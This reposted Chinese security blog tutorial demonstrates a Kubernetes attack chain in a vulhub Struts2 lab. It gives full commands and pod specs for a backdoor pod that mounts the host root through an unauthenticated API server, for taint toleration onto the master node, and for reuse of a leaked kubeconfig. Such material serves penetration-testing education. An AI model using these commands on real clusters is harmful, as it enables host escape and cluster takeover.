云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸"

admin 2026-10-18 05:47:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸

原创

stalker2027lab
stalker2027lab

stalker2027lab

2026年8月2日 18:07
山东

在小说阅读器读本章

去阅读

Web应用部署:(struts2漏洞)

# 创建名为struts的Deployment,部署Struts2 2.3.28漏洞环境镜像kubectl create deployment struts --image=vulhub/struts2:2.3.28# 创建NodePort类型的Service,将容器8080端口暴露到集群外部kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort# 查看Pod运行状态和Service的端口信息,确认部署结果kubectl get pod,svc

1、利用Web漏洞拿下权限

探针当前Webshell环境:

https://blog.csdn.net/qq_23936389/article/details/131467165ls -al /cat /proc/1/cgroup

docker逃逸方式

危险挂载特权启动docker漏洞内核漏洞

上传cdk项目自动逃逸

提交创建后门Pod

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{\"kubectl.kubernetes.io/last-applied-configuration\":\"{\\\"apiVersion\\\":\\\"v1\\\",\\\"kind\\\":\\\"Pod\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"test02\\\",\\\"namespace\\\":\\\"default\\\"},\\\"spec\\\":{\\\"containers\\\":[{\\\"image\\\":\\\"nginx:1.14.2\\\",\\\"name\\\":\\\"test02\\\",\\\"volumeMounts\\\":[{\\\"mountPath\\\":\\\"/host\\\",\\\"name\\\":\\\"host\\\"}]}],\\\"volumes\\\":[{\\\"hostPath\\\":{\\\"path\\\":\\\"/\\\",\\\"type\\\":\\\"Directory\\\"},\\\"name\\\":\\\"host\\\"}]}}\
\"},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}'
该后门pod将宿主机的根目录挂载到了该pod的/host目录下

探针API Server未授权

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

提交创建后门Pod

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{\"kubectl.kubernetes.io/last-applied-configuration\":\"{\\\"apiVersion\\\":\\\"v1\\\",\\\"kind\\\":\\\"Pod\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"test02\\\",\\\"namespace\\\":\\\"default\\\"},\\\"spec\\\":{\\\"containers\\\":[{\\\"image\\\":\\\"nginx:1.14.2\\\",\\\"name\\\":\\\"test02\\\",\\\"volumeMounts\\\":[{\\\"mountPath\\\":\\\"/host\\\",\\\"name\\\":\\\"host\\\"}]}],\\\"volumes\\\":[{\\\"hostPath\\\":{\\\"path\\\":\\\"/\\\",\\\"type\\\":\\\"Directory\\\"},\\\"name\\\":\\\"host\\\"}]}}\
\"},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}'

等同于

./kubectl -s 10.96.0.1:443 create -f test.yaml

加参数绕过交互式

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

利用后门挂载进行逃逸

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c \"ls /host\"

一、横向移动-污点Taint

参考文章:https://blog.csdn.net/weixin_61269220/article/details/127294286

添加污点

kubectl taint nodes node1 xtz=value1:NoSchedule

去除污点

kubectl taint nodes node1 xtz=value1:NoSchedule-

打印node1节点上配置的所有污点信息:

kubectl describe nodes node1 | grep Taints

利用污点Taint横向移动master节点

参考:https://cn-sec.com/archives/1336486.html

获取node节点详情:node-role.kubernetes.io/master:NoSchedule

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

cat > x.yaml << EOFapiVersion: v1kind: Podmetadata:  name: control-master-xspec: tolerations:   - key: node-role.kubernetes.io/master     operator: Exists     effect: NoSchedule containers:   - name: control-master-x     image: ubuntu:18.04     command: [\"/bin/sleep\", \"3650d\"]     volumeMounts:      - name: master        mountPath: /master volumes:  - name: master    hostPath:     path: /     type: DirectoryEOF
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c \"ls /master\"

也可以利用节点泄漏的config横向移动节点

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes./kubectl apply -f test.yaml -n default --kubeconfig=config./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c \"ls /mnt/root\"


云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸" 网络安全文章

云原生篇-攻击Pod&污点Taint&横向移动&容器逃逸"

本文演示了云原生环境下的攻击链,包括利用Web漏洞(如Struts2)获取容器权限、通过危险挂载或特权模式进行容器逃逸、创建后门Pod挂载宿主机根目录,以及利用Kubernetes污点Taint机制横向移动到master节点。关键发现是攻击者可通过APIServer未授权访问或节点config泄漏实现横向移动。建议防御方加强容器安全配置、限制APIServer访问并监控异常Pod创建。
云上攻防-云产品篇&堡垒机场景&JumpServer&绿盟SAS&Teleport&麒麟&齐治" 网络安全文章

云上攻防-云产品篇&堡垒机场景&JumpServer&绿盟SAS&Teleport&麒麟&齐治"

本文聚焦云上攻防中堡垒机场景,分析了JumpServer、绿盟SAS、Teleport、麒麟、齐治等产品的攻击面与已知漏洞。通过2021-2022年攻防演练实例,说明攻击者利用堡垒机漏洞(如未授权访问、弱口令)获取内网权限并横向渗透的路径。核心结论是堡垒机作为内网入口,其安全防护至关重要,建议加强漏洞管理与访问控制。
JS逆向-算法逆向&三重断点调试&调用堆栈&BP插件发包" 网络安全文章

JS逆向-算法逆向&三重断点调试&调用堆栈&BP插件发包"

本文介绍JS逆向分析技术,重点讲解算法逆向、三重断点调试(流程、标签、XHR断点)及调用堆栈分析,用于破解前端加密逻辑。通过全局搜索参数定位代码,结合BurpSuite的jsEncrypter插件处理复杂加密,实现密码枚举和漏洞检测。核心结论是掌握断点调试和插件发包可有效突破JS加密限制,提升渗透测试效率。
好文|红队实战:DLL侧加载与代理技术全流程拆解" 网络安全文章

好文|红队实战:DLL侧加载与代理技术全流程拆解"

本文详细拆解了红队实战中DLL侧加载与代理技术的全流程。核心机制是利用WindowsDLL搜索顺序,在应用目录植入恶意DLL以劫持合法进程。文章以VLC媒体播放器为例,演示了使用ProcMon和x64dbg进行狩猎、分析导出函数、构建代理DLL并绕过两款流行EDR的过程。关键建议是优先选择第三方应用作为侧加载目标以提升隐蔽性,并推荐使用Rust语言构建植入物以增强OPSEC。
评论:0   参与:  0